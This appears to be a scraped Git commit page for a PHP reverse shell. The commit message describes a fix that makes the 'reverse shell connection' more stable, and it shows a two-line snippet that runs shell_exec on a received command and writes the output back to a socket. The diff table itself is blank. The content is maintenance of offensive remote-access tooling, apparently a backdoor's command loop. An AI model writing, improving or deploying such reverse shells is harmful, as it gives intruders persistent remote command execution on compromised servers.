Commit c4c5fe5
authored
Fix: Handle null or empty command output in reverse shell connection
## Changes in this Commit
### Fix: Handle null or empty command output in reverse shell connection
In this update, the reverse shell connection was enhanced to handle cases where the shell command produces null or empty output. Previously, this could have led to connection instability or crashes. The following changes were made:
- **Null or Empty Output Handling**: If the shell command does not return any output, a fallback message is now sent to the socket, preventing any connection issues.
```php
$output = shell_exec($cmd);
fwrite($sock, $output ?: 'No output from command.');
```1 parent 527cf75 commit c4c5fe5
1 file changed
+2
-2
lines changed| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
2 | 2 | | |
3 | 3 | | |
4 | 4 | | |
5 | | - | |
| 5 | + | |
6 | 6 | | |
7 | 7 | | |
8 | 8 | | |
| |||
123 | 123 | | |
124 | 124 | | |
125 | 125 | | |
126 | | - | |
| 126 | + | |
127 | 127 | | |
128 | 128 | | |
129 | 129 | | |
| |||
0 commit comments